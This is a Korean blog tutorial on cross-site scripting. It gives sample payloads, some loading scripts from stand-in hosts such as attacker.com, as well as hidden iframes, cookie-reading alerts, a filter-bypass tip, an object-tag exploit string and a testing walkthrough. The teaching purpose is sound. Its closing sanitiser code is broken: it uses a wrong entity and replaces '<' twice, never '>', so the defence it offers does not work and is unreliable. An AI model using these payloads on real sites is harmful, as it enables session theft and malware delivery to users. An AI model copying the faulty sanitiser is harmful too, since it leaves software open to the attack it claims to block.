2017. 2. 26.

[웹 취약점] XSS 크로스 사이트 스크립팅

1. XSS 취약점 이란

대부분의 웹 해킹 기법은 웹 서버 설정 혹은 프로그램의 취약점을 공격하지만, XSS는 사용자를 공격하는 기법이다. 예를 들어 악성 코드가 포함된 글을 읽는 순간 악성 프로그램이 설치되거나 쿠키 혹은 세션 정보가 공격자에게 전송되어 이를 악용하게 된다.

2. 사용되는 태그 및 형태에 따른 XSS 종류

XSS 공격은 공격 특성상 매우 여러가지 형태로 적용될 수 있다.  


1) <script> 태그 삽입
URL 파라미터 값에 스크립트를 넣는 방식으로 <script>와 </script> 넣는 내용에 따라 다양한 기법을 구사할 수 있다.

(예 1) <a href="http://sample.com/comment.cgi?comment=<SCRIPT>악성코드</SCRIPT>">Click here</A>

(예 2) <a href="http://sample.com/comment.cgi?comment=<SCRIPT SRC ='http://attacker.com/maliciouscode'></SCRIPT>">Click here</A>

"예2는 URL 파라미터에 타 사이트를 연결하여 사용자에게 악성 코드를 설치하도록 유인하고 있다.

** request header 필드에 스크립트를 삽입하여 취약점을 판단할 수 있음

GET /jsp/common/system/debug.jsp HTTP/1.1
Accept: <script>alert('XSS');</script>
Accept-Language : <script>alert('XSS');</script>
UA-CPU: <script>alert('XSS');</script>
Accept-Encoding: <script>alert('XSS');</script>
User-Agent: <script>alert('XSS');</script>
Host: maximo
Connection: keep-Alive
Cookie: <script>alert('XSS');</script>

2) <iframe> 태그 삽입
iframe 태그를 이용하여 악성 코드가 포함된 사이트로 세션을 연결해 자동으로 프로그램을 다운로드 시킬 수 있다.
(예 1) <iframe src="http://sameple.com/~bbs/hack.htm" name "Click Here" width= "0" height="0" frameborder="0"> </iframe>

3) <object> 태그 삽입
다음 샘플은 object 태그와 ITS 프로토콜 핸들러에 의한 chm(컴파일된 HTML 도움말) 처리시의 취약점을 이용한 것인데, ITS 란 InfoTech Storage 의 약자이며 HTML 문서에서 다양한 종류의 컴포넌트들을 사용하기 위한 기술이다. 
(예 2) <object width=0 height=0 style=display:none;type=text/xscriplet" Data=mk:@MSITStore:mhtml:c:\nosuchfile.mht!http://sample.com/exploit_chm::exploit.html></object>

4) 웹 브라우저 URL Spoofing(변조)
String.fromCharCode() 함수를 사용하여 URL 정보를 인코딩하는 기법이며, 해당 함수는 일반 문자열을 10진수로 표기하여 관리자의 가독성을 떨어트리기 위한 목적으로 사용된다.
(예 1) <script>alert(String.fromCharCode(116,101,115,116))<script>
10진수 116=t
10진수 101=e
10진수 115=s
10진수 116=t
즉 <script>alert("test") </script> 로서 test 문자열이 포함된 경고창 팝업이 뜰것이다.

5) 악성코드 은닉
다음 샘플은 iframe 태그 삽입 기법과 유사하게 웹 페이지 중간에 악성 코드 링크를 삽입하는 기법이나, 관리자의 감시나 탐지를 우회하기 위해 복잡한 코드를 삽입하는 Obfuscated Code 방법이다. 
예제 생략. for 문 if 문을 활용하여 탐지하기 어렵게 함


3. Stored XSS, Reflected XSS, DOM XSS 의 차이

1) Stored XSS 취약점 (= Persistent XSS)
공격자는 이 공격을 통해서 희생자의 쿠키 정보를 탈취하고 사용자의 권한을 획득한 후 사용자의 단말에 침투하여 악성코드를 배포하는 행위가 대표적이다.



게시판 또는 검색창에 스크립트를 입력한다. 스크립트의 종류는 위에서 서술한 것과 같이 여러가지 형태가 될 수 있다.

<script src=http://공격서버/a.js></script>
<script>alert(0)</script>

** 게시판에서 글 내용 부분 외에 이름, 주소 등 여러가지 입력란이 있을 수 있는데 이 부분도 역시 공격대상이 되므로 간과하면 안된다. 다만 name 과 같은 부분은 최대 글자수 제한이 걸려있는 경우가 있는데 이럴 땐 '개발자 도구'를 이용하여 수정 후 적용하도록 한다. 

2) Reflected XSS 취약점 (= Non-Persistent XSS)
Reflected xss 취약점의 경우 서버에 저장되지 않고 웹 브라우저를 통하여 메시지를 반환한다. 즉, 이러한 웹 브라우저로 반환되는 메시지 값을 악의적인 내용으로 변경하여 보내면 서비스에 악영향을 미칠 수 있다. ( 악성사이트로 접속하여 자동으로 프로그램이 설치되도록 할 수도 있고, COOKIE 값이 악성서버에 기록 할 수도 있다. 시나리오는 만들기 나름이다.)


버프스위트를 이용하여 /dvwa/vulnerabilities/xss_r?name=<script>alert(document.cookie)</script> 와 같이 GET request 값을 변조한다. (Reflected XSS 는 GET 메소드를 이용한다.)

3) DOM XSS 취약점
DOM 객체를 포함하는 자바스크립트 등을 이용하여 DOM(Document Object Model) 데이터 접근 시 검증되지 않은 입력 값이 자바 스크립트를 통해 삽입되어 발생하는 취약점이다.


4. XSS 점검 시나리오 (점검 테스트 부터 점검 확인까지)

1) 검색 창과 같이, 값을 입력할 필드를 찾는다. (ex, 검색필드, 아이디, 패스워드 등)검색 필드에 임의 값 'test value' 를 입력한다.
2) 그 후 소스보기를 통해 입력된 값 (test value) 를 검색한다.
3) 소스안에 <pre>Hello test value </pre> 와 같이 입력된 값이 발견된 것을 알 수 있다.

** XSS 취약점 점검할 때, 사용자에게 보이는 페이지(Request 패킷의 Body 부분)와, 원본 페이지(소스보기 부분)에 겹치는 변수값을 확인 한 후, 해당 변수에 XSS 공격을 시도한다.
- Request 패킷의 Body에서 전달되는 내용
lazy-keywords%5B4%5D=keyword5"><script>alert(document.cookie)</script>
- Request 패킷 전달 후 해당 웹 페이지의 소스에서 'keyword5' 문자열로 검색
value="keyword5"><script>alert(document.cookie)</script> /></td>

4) 이제 입력값 필터링이 수행되는지 확인하기 위해 <script>를 입력하고, 다시 소스보기를 통해 <script> 를 확인한다. 만약 <pre> Hello <script> </pre> 형태로 발견된다면 입력값 필터링을 하지 않고 있는 것이다. 필터링을 이행한다면 <pre> Hello &ltscript&gt </pre>같이 특수문자가 치환되어 있을 것이다.
5) 이전 단계에서 필터링이 이행되지 않는 것을 확인 하였다면, 검색필드에 <script>alert("XSS Test")</script>를 입력한다.  "XSS Test" 알림창(alert)이 뜨는 것을 확인 할 수 있을것이다.


DOM-Based cross-site-scripting 은 검색필드에서 입력된 값이 그대로 화면에 출력 될 때 이용 할 수 있다.

예를 들어,  www.test.com/test?input=defalt 와 같이 입력값을 화면에 출력하는 페이지가 있다.

이와 같은 경우, www.test.com/test?input=<script>alert("DOM Based XSS TEST")</script> 로 바꿔 알림창을 띄울 수 있다. 물론 xss 는 <img src=aa onerror="alert('aa')"> 등과 같이 여러 방법으로 테스트 해 볼 수 있다.

5. XSS 취약점 점검 TIPS


  • 만약 소문자 형태 <script> 만 str_replace 로 필터링 한 경우, <SCRIPT> 로 우회 할 수 있다. 
  • POST 방식의 Request 패킷의 body 부분을 수정함으로써 XSS 를 진행 할 수 도 있다. 사용자가 입력하지 않았더라도 hidden 형태로 전달되는 파라미터 부분뒤에 덧붙여 name=test"><script>alert(3)</script> 라고 입력할 수도 있다. 취약점이 있다면 3이라는 alert 창이 뜨며, 소스 보기를 해서 확인했을때, value="test"><script>alert(3)</script>" 와 같이 필터링되지 않은 스크립트 구문을 확인 할 수 있다.

20170911 tips
  • 게시글에서 XSS 테스트 할때, 제목과 내용에 >"';;/> 라고 입력하고 게시글 생성 해보는 것도 좋은 방법이다 
20170921

  • "<marquee style="width: expression(alert('XSS'));">Foobar</marquee> 
  • <marquee> xss </marquee> 와 같이 marquee 스크립트가 유효한 경우가 은근히 잦다.
20170922
  • 파라미터 : >"'><script>alert(4249)</script>
  • 먹힌 결과 value="1>"></input> <script>alert(4249)</script>
  • 해설 : ' 는 필터링 되서 없어졌고. value 값으로 1> 이 들어가고 > 로 닫히면서 자동으로 </input> 이 생겼고 그다음에 <script>alert(4249)</script>가 들어가면서 스크립트가 먹힌것

6. 보호방법


  • XSS 는 HTML 태그 문자 '<'와 '>'가 입력되어 실행되는 것이 취약점의 주요한 원인이므로 해당 문자열을 다른 문자열로 변환하여 실행되지 않도록 프로그램을 수정해야 한다. (대표적으로 htmlspecialchars 함수가 있다.)
  • HTML 문자 참조(ASCII 문자로 변경하는) 과정을 수행한다. 예를 들어, "<" 는 동일한 의미의 HTML "&lt;" 로 변경하는 것이다. HTML 엔터티는 대부분의 인터프리터(특히, 브라우저)에서 특수한 의미를 가지지 않으며, 단순한 문자로 처리된다.
  • 인코딩 하면 사용자는 <script> 가 <script> 로 보이지만 HTML 문서에는 &lt;script&gt;로 나타나서 브라우저에서 일반 문자로 인식하고 스크립트로서 실행되어 해석되지는 않는다.

** 만약 태그의 사용이 필요한 경우
게시판 같은 곳은 불가피하게 태그를 사용해야 하는 경우는 블랙리스트/화이트리스트 방식을 사용하여 필요한 특정 태그만 사용해야 한다. 블랙리스트의 경우에는 javascript, eval, document, onload, iframe, div, alert, onclick, onkeydown 등 악의적으로 행위할 수 있는 모든 태그를 막아줘야 하기 때문에 비효율적일 수 있다. 여기선 화이트리스트 방식을 사용해 <p> 태그만 사용한다는 가정하에 대응 방안을 세운다.

아래와 같이 < 태그와 > 태그를 모두 치환하며 <p> 태그만 다시 치환함으로써 사용가능하게 한다.

ex)
Is_Content = Replace(Is_Content, "<", "&It;")
Is_Content = Replace(Is_Content, "<", "&gt;")
Is_Content = Replace(Is_Content, "&It;P&gt;", "<p>")

참고
  • http://breakthesecurity.cysecurity.org/2011/10/cross-site-scriptingxss-complete-tutorial-for-beginners-web-application-vulnerability.html
  • http://breakthesecurity.cysecurity.org/2012/05/dom-based-cross-site-scriptingxss-vulnerability-tutorial.html

Popular Posts

Recent Posts

Powered by Blogger.